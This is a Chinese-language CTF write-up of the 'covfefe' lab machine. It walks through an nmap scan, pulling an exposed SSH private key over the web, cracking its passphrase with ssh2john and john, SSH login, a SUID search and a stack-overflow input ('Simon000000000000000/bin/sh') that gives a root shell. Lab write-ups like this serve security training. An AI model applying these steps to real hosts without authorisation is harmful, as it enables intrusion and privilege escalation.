该渗透实战利用了私钥登录ssh,解密私钥、堆栈溢出提权等操作,算是对基本功操作进行巩固吧。。。
靶机IP:192.168.8.139
kali-ip :192.168.8.253
nmap全端口扫
nmap -sS -Pn -A -p- -n 192.168.8.139
![](https://img.haomeiwen.com/i5178935/5e15d2788d3ffe20.png)
看来web服务开了两个端口80和31337
不过80就一个Nginx的界面
WEB信息收集
直接走31337
在 http://192.168.8.139:31337/robots.txt
中发现了
![](https://img.haomeiwen.com/i5178935/9fc06a5aab0f5fa3.png)
Disallow: /.bashrc
Disallow: /.profile
Disallow: /taxes
直接get flag1: http://192.168.8.139:31337/taxes/
flag1{make_america_great_again}
![](https://img.haomeiwen.com/i5178935/06109fca599c3b96.png)
访问/.bashrc和/.profile,可以直接down下两个文件,貌似是shell脚本,看不懂
继续爆目录,发现了/.ssh,提示了以下三个文件
![](https://img.haomeiwen.com/i5178935/44ccbff630475d17.png)
访问该三个文件,down下来
http://192.168.8.139:31337/.ssh/id_rsa
http://192.168.8.139:31337/.ssh/authorized_keys
http://192.168.8.139:31337/.ssh/id_rsa.pub
id_rsa和id_rsa.pub应该就是ssh的登录密钥
打开公钥id_rsa.pub可以看到:
![](https://img.haomeiwen.com/i5178935/d46855c5ac73368f.png)
登录用户名应该就是:simon
john解私钥
用私钥id_rsa登录:
ssh -i id_rsa simon@192.168.8.139
看来私钥经过加密了
![](https://img.haomeiwen.com/i5178935/6c41bf3a21d2647a.png)
john解密:
1、先将私钥id_rsa生成一个hash文件:
ssh2john id_rsa > key
2、用john破解它:
john key
![](https://img.haomeiwen.com/i5178935/f7272cc7f3647b42.png)
破解成功,
id_rsa:starwars
密钥的密码就是starwars
ssh登录
![](https://img.haomeiwen.com/i5178935/b0ee21c672c74816.png)
直接进入root,找到flag,不过没有权限
![](https://img.haomeiwen.com/i5178935/4bc4ef03c29a6ce0.png)
溢出提权
发现了root目录下还有一个read_message.c文件,读一下看看
![](https://img.haomeiwen.com/i5178935/e9c56ea02ef87636.png)
get flag2:
flag2{use_the_source_luke}
这是read_message的源码,不过没有权限去编译、运行它。找找靶机中可以执行的二进制文件
find / -perm -4000 2> /dev/null
![](https://img.haomeiwen.com/i5178935/8ce9824ce8978759.png)
找到了应该是编译好的/usr/local/bin/read_message,执行它:
![](https://img.haomeiwen.com/i5178935/6d5a42ae019df2d0.png)
提示我们看源码
通过阅读源代码, 我们发现, 当我们输入一个字符串时, 它将与 simon 一起检查字符串的前5字符。如果匹配, 它将运行一个程序/usr/local/bin/read_message。现在输入它被分配大小为20个字节。因此, 我们溢出堆栈进入超过20个字节的数据。我们使用前5个字符是 "Simon", 然后是 15 个"0", 然后是 "/bin/sh" 在第21字节,溢出提权
Simon000000000000000/bin/sh
![](https://img.haomeiwen.com/i5178935/6effc6d75cb7c4f9.png)
get flag3:
flag3{das_bof_meister}
总结
1、该靶机算是巩固复习了ssh以私钥登录,john解私钥的方法
2、找到源码,没有权限编译、执行,就先全局搜一下可执行的二进制文件。
3、阅读源码,构造堆栈溢出/bin/bash提权
covfefe靶机百度云下载
链接:https://pan.baidu.com/s/1k-QSfjp1ed9xLsXD_n4oGg
提取码:83uw
网友评论